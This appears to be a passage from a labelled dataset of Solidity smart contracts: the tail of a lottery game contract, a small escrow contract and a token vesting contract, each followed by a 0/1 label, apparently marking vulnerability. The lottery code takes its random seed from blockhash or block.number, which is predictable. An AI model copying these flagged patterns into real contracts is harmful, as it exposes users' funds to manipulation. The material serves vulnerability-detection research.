uint256 _amount = getCurEarlyIncomeByAddressRound(_buyer, _rId);
if (_amount == 0) return 0;
round[_rId].pEarlyIncomeClaimed[_buyer] = _amount.add(round[_rId].pEarlyIncomeClaimed[_buyer]);
rewardBalance[_buyer] = _amount.add(rewardBalance[_buyer]);
return _amount;
}
function withdrawFor(address _sender)
public
withdrawRight()
returns(uint256)
{
if (curRoundId == 0) return;
claimEarlyIncomebyAddress(_sender);
lastWithdrawnRound[_sender] = curRoundId - 1;
uint256 _amount = rewardBalance[_sender];
rewardBalance[_sender] = 0;
bankContract.pushToBank.value(_amount)(_sender);
return _amount;
}
function addTime(uint256 _rId, uint256 _toAddTime)
private
{
round[_rId].slideEndTime = Helper.getNewEndTime(_toAddTime, round[_rId].slideEndTime, round[_rId].fixedEndTime);
}
function addPot(uint256 _amount)
private
{
uint256 onePercent = _amount / 100;
uint256 toMinor = onePercent * minorPercent;
uint256 toMajor = onePercent * majorPercent;
uint256 toGrand = _amount - toMinor - toMajor;
minorPot = minorPot + toMinor;
majorPot = majorPot + toMajor;
grandPot = grandPot + toGrand;
}
function isWinSlot(uint256 _slotId, uint256 _keyNumber)
public
view
returns(bool)
{
return (slot[_slotId - 1].tNumberTo < _keyNumber) && (slot[_slotId].tNumberTo >= _keyNumber);
}
function getWeightRange()
public
view
returns(uint256)
{
return Helper.getWeightRange(initGrandPot);
}
function getWinSlot(uint256 _keyNumber)
public
view
returns(uint256)
{
uint256 _to = slot.length - 1;
uint256 _from = round[curRoundId-1].slotSum + 1;
uint256 _pivot;
uint256 _pivotTo;
while (_from <= _to) {
_pivot = (_from + _to) / 2;
_pivotTo = slot[_pivot].tNumberTo;
if (isWinSlot(_pivot, _keyNumber)) return _pivot;
if (_pivotTo < _keyNumber) {
_from = _pivot + 1;
} else {
_to = _pivot - 1;
}
}
return _pivot;
}
function genEstKeyBlockNr(uint256 _endTime)
public
view
returns(uint256)
{
if (block.timestamp >= _endTime) return block.number + 8;
uint256 timeDist = _endTime - block.timestamp;
uint256 estBlockDist = timeDist / BLOCK_TIME;
return block.number + estBlockDist + 8;
}
function getSeed(uint256 _keyBlockNr)
public
view
returns (uint256)
{
if (block.number <= _keyBlockNr) return block.number;
return uint256(blockhash(_keyBlockNr));
}
function getRewardBalance(address _buyer)
public
view
returns(uint256)
{
return rewardBalance[_buyer];
}
function getSlideEndTime(uint256 _rId)
public
view
returns(uint256)
{
return(round[_rId].slideEndTime);
}
function getFixedEndTime(uint256 _rId)
public
view
returns(uint256)
{
return(round[_rId].fixedEndTime);
}
function getTotalPot()
public
view
returns(uint256)
{
return grandPot + majorPot + minorPot;
}
function getEarlyIncomeByAddress(address _buyer)
public
view
returns(uint256)
{
uint256 _sum = earlyIncomeScannedSum[_buyer];
uint256 _fromRound = lastWithdrawnRound[_buyer] + 1;
if (_fromRound + 100 < curRoundId) _fromRound = curRoundId - 100;
uint256 _rId = _fromRound;
while (_rId <= curRoundId) {
_sum = _sum + getEarlyIncomeByAddressRound(_buyer, _rId);
_rId++;
}
return _sum;
}
function getEarlyIncomeByAddressRound(address _buyer, uint256 _rId)
public
view
returns(uint256)
{
uint256 _pWeight = round[_rId].pEarlyIncomeWeight[_buyer];
uint256 _ppw = round[_rId].ppw;
uint256 _rCredit = round[_rId].pEarlyIncomeCredit[_buyer];
uint256 _rEarlyIncome = ((_ppw.mul(_pWeight)).sub(_rCredit)).div(ZOOM);
return _rEarlyIncome;
}
function getCurEarlyIncomeByAddress(address _buyer)
public
view
returns(uint256)
{
uint256 _sum = 0;
uint256 _fromRound = lastWithdrawnRound[_buyer] + 1;
if (_fromRound + 100 < curRoundId) _fromRound = curRoundId - 100;
uint256 _rId = _fromRound;
while (_rId <= curRoundId) {
_sum = _sum.add(getCurEarlyIncomeByAddressRound(_buyer, _rId));
_rId++;
}
return _sum;
}
function getCurEarlyIncomeByAddressRound(address _buyer, uint256 _rId)
public
view
returns(uint256)
{
uint256 _rEarlyIncome = getEarlyIncomeByAddressRound(_buyer, _rId);
return _rEarlyIncome.sub(round[_rId].pEarlyIncomeClaimed[_buyer]);
}
function getEstKeyBlockNr(uint256 _rId)
public
view
returns(uint256)
{
return round[_rId].keyBlockNr;
}
function getKeyBlockNr(uint256 _estKeyBlockNr)
public
view
returns(uint256)
{
require(block.number > _estKeyBlockNr, "blockHash not avaiable");
uint256 jump = (block.number - _estKeyBlockNr) / MAX_BLOCK_DISTANCE * MAX_BLOCK_DISTANCE;
return _estKeyBlockNr + jump;
}
function getCurRoundId()
public
view
returns(uint256)
{
return curRoundId;
}
function getTPrice()
public
view
returns(uint256)
{
return Helper.getTPrice(curRTicketSum);
}
function getTMul()
public
view
returns(uint256)
{
return Helper.getTMul(
initGrandPot,
grandPot,
lastBuyTime + multiDelayTime < block.timestamp ? round[curRoundId].slideEndTime : lastEndTime,
round[curRoundId].fixedEndTime
);
}
function getPMul()
public
view
returns(uint256)
{
return Helper.getEarlyIncomeMul(curRTicketSum);
}
function getPTicketSumByRound(uint256 _rId, address _buyer)
public
view
returns(uint256)
{
return round[_rId].pTicketSum[_buyer];
}
function getTicketSumToRound(uint256 _rId)
public
view
returns(uint256)
{
return round[_rId].ticketSum;
}
function getPInvestedSumByRound(uint256 _rId, address _buyer)
public
view
returns(uint256)
{
return round[_rId].pInvestedSum[_buyer];
}
function getInvestedSumToRound(uint256 _rId)
public
view
returns(uint256)
{
return round[_rId].investedSum;
}
function getPSlotLength(address _sender)
public
view
returns(uint256)
{
return pSlot[_sender].length;
}
function getSlotLength()
public
view
returns(uint256)
{
return slot.length;
}
function getSlotId(address _sender, uint256 i)
public
view
returns(uint256)
{
return pSlot[_sender][i];
}
function getSlotInfo(uint256 _slotId)
public
view
returns(address, uint256[4], string)
{
Slot memory _slot = slot[_slotId];
return (_slot.buyer,[_slot.rId, _slot.tNumberFrom, _slot.tNumberTo, _slot.ethAmount], Helper.uintToString(_slot.salt));
}
function cashoutable(address _address)
public
view
returns(bool)
{
if (round[curRoundId].pTicketSum[_address] >= CASHOUT_REQ) return true;
if (round[curRoundId].startTime > block.timestamp) {
uint256 _lastRoundTickets = getPTicketSumByRound(curRoundId - 1, _address);
if (_lastRoundTickets >= CASHOUT_REQ) return true;
}
return false;
}
function setLastRound(uint256 _lastRoundId)
public
onlyDevTeam()
{
require(_lastRoundId >= 8 && _lastRoundId > curRoundId, "too early to end");
require(lastRoundId == 88888888, "already set");
lastRoundId = _lastRoundId;
}
function sBountyClaim(address _sBountyHunter)
public
notStarted()
returns(uint256)
{
require(msg.sender == address(rewardContract), "only Reward contract can manage sBountys");
uint256 _lastRoundTickets = round[curRoundId - 1].pBoughtTicketSum[_sBountyHunter];
uint256 _sBountyTickets = _lastRoundTickets * sBountyPercent / 100;
mintSlot(_sBountyHunter, _sBountyTickets, 0, 0);
return _sBountyTickets;
}
}
interface F2mInterface {
function joinNetwork(address[6] _contract) public;
function activeBuy() public;
function pushDividends() public payable;
function buyFor(address _buyer) public payable;
function sell(uint256 _tokenAmount) public;
function exit() public;
function devTeamWithdraw() public returns(uint256);
function withdrawFor(address sender) public returns(uint256);
function transfer(address _to, uint256 _tokenAmount) public returns(bool);
function setAutoBuy() public;
function ethBalance(address _address) public view returns(uint256);
function myBalance() public view returns(uint256);
function myEthBalance() public view returns(uint256);
function swapToken() public;
function setNewToken(address _newTokenAddress) public;
}
interface CitizenInterface {
function joinNetwork(address[6] _contract) public;
function devTeamWithdraw() public;
function updateUsername(string _sNewUsername) public;
function pushRefIncome(address _sender) public payable;
function withdrawFor(address _sender) public payable returns(uint256);
function devTeamReinvest() public returns(uint256);
function getRefWallet(address _address) public view returns(uint256);
}
interface DevTeamInterface {
function setF2mAddress(address _address) public;
function setLotteryAddress(address _address) public;
function setCitizenAddress(address _address) public;
function setBankAddress(address _address) public;
function setRewardAddress(address _address) public;
function setWhitelistAddress(address _address) public;
function setupNetwork() public;
}
interface BankInterface {
function joinNetwork(address[6] _contract) public;
function pushToBank(address _player) public payable;
}
interface RewardInterface {
function mintReward(
address _lucker,
uint256 curRoundId,
uint256 _winNr,
uint256 _tNumberFrom,
uint256 _tNumberTo,
uint256 _value,
uint256 _rewardType)
public;
function joinNetwork(address[6] _contract) public;
function pushBounty(uint256 _curRoundId) public payable;
function resetCounter(uint256 _curRoundId) public;
}
library SafeMath {
int256 constant private INT256_MIN = -2**255;
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function mul(int256 a, int256 b) internal pure returns (int256) {
if (a == 0) {
return 0;
}
require(!(a == -1 && b == INT256_MIN));
int256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0);
require(!(b == -1 && a == INT256_MIN));
int256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
} | 0 | 1,692 |
pragma solidity ^0.4.21;
contract Money {
address public creator;
address public buyer;
function Money(address _buyer) public payable {
creator = msg.sender;
buyer = _buyer;
}
function ChangeBuyer(address _buyer) public {
require(msg.sender==creator);
buyer = _buyer;
}
function Send() public {
require(msg.sender==buyer);
buyer.transfer(this.balance);
}
function Refund() public {
require(msg.sender==creator);
creator.transfer(this.balance);
}
function() payable {
}
function Delete() {
require(msg.sender==creator);
selfdestruct(creator);
}
} | 1 | 3,487 |
pragma solidity 0.5.2;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
require(token.transferFrom(from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(msg.sender, spender) == 0));
require(token.approve(spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
require(token.approve(spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
require(token.approve(spender, newAllowance));
}
}
contract TRYTokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 private TRYToken;
uint256 private tokensToVest = 0;
uint256 private vestingId = 0;
string private constant INSUFFICIENT_BALANCE = "Insufficient balance";
string private constant INVALID_VESTING_ID = "Invalid vesting id";
string private constant VESTING_ALREADY_RELEASED = "Vesting already released";
string private constant INVALID_BENEFICIARY = "Invalid beneficiary address";
string private constant NOT_VESTED = "Tokens have not vested yet";
struct Vesting {
uint256 releaseTime;
uint256 amount;
address beneficiary;
bool released;
}
mapping(uint256 => Vesting) public vestings;
event TokenVestingReleased(uint256 indexed vestingId, address indexed beneficiary, uint256 amount);
event TokenVestingAdded(uint256 indexed vestingId, address indexed beneficiary, uint256 amount);
event TokenVestingRemoved(uint256 indexed vestingId, address indexed beneficiary, uint256 amount);
constructor(IERC20 _token) public {
require(address(_token) != address(0x0), "Matic token address is not valid");
TRYToken = _token;
uint256 SCALING_FACTOR = 10 ** 18;
uint256 day = 1 days;
addVesting(0x1FD8DFd8Ee9cE53b62C2d5bc944D5F40DA5330C1, now + 0, 100 * SCALING_FACTOR);
addVesting(0x1FD8DFd8Ee9cE53b62C2d5bc944D5F40DA5330C1, now + 30 * day, 100 * SCALING_FACTOR);
addVesting(0x1FD8DFd8Ee9cE53b62C2d5bc944D5F40DA5330C1, now + 61 * day, 100 * SCALING_FACTOR);
addVesting(0xb316fa9Fa91700D7084D377bfdC81Eb9F232f5Ff, now + 1279 * day, 273304816 * SCALING_FACTOR);
}
function token() public view returns (IERC20) {
return TRYToken;
}
function beneficiary(uint256 _vestingId) public view returns (address) {
return vestings[_vestingId].beneficiary;
}
function releaseTime(uint256 _vestingId) public view returns (uint256) {
return vestings[_vestingId].releaseTime;
}
function vestingAmount(uint256 _vestingId) public view returns (uint256) {
return vestings[_vestingId].amount;
}
function removeVesting(uint256 _vestingId) public onlyOwner {
Vesting storage vesting = vestings[_vestingId];
require(vesting.beneficiary != address(0x0), INVALID_VESTING_ID);
require(!vesting.released , VESTING_ALREADY_RELEASED);
vesting.released = true;
tokensToVest = tokensToVest.sub(vesting.amount);
emit TokenVestingRemoved(_vestingId, vesting.beneficiary, vesting.amount);
}
function addVesting(address _beneficiary, uint256 _releaseTime, uint256 _amount) public onlyOwner {
require(_beneficiary != address(0x0), INVALID_BENEFICIARY);
tokensToVest = tokensToVest.add(_amount);
vestingId = vestingId.add(1);
vestings[vestingId] = Vesting({
beneficiary: _beneficiary,
releaseTime: _releaseTime,
amount: _amount,
released: false
});
emit TokenVestingAdded(vestingId, _beneficiary, _amount);
}
function release(uint256 _vestingId) public {
Vesting storage vesting = vestings[_vestingId];
require(vesting.beneficiary != address(0x0), INVALID_VESTING_ID);
require(!vesting.released , VESTING_ALREADY_RELEASED);
require(block.timestamp >= vesting.releaseTime, NOT_VESTED);
require(TRYToken.balanceOf(address(this)) >= vesting.amount, INSUFFICIENT_BALANCE);
vesting.released = true;
tokensToVest = tokensToVest.sub(vesting.amount);
TRYToken.safeTransfer(vesting.beneficiary, vesting.amount);
emit TokenVestingReleased(_vestingId, vesting.beneficiary, vesting.amount);
}
function retrieveExcessTokens(uint256 _amount) public onlyOwner {
require(_amount <= TRYToken.balanceOf(address(this)).sub(tokensToVest), INSUFFICIENT_BALANCE);
TRYToken.safeTransfer(owner(), _amount);
}
} | 1 | 3,477 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.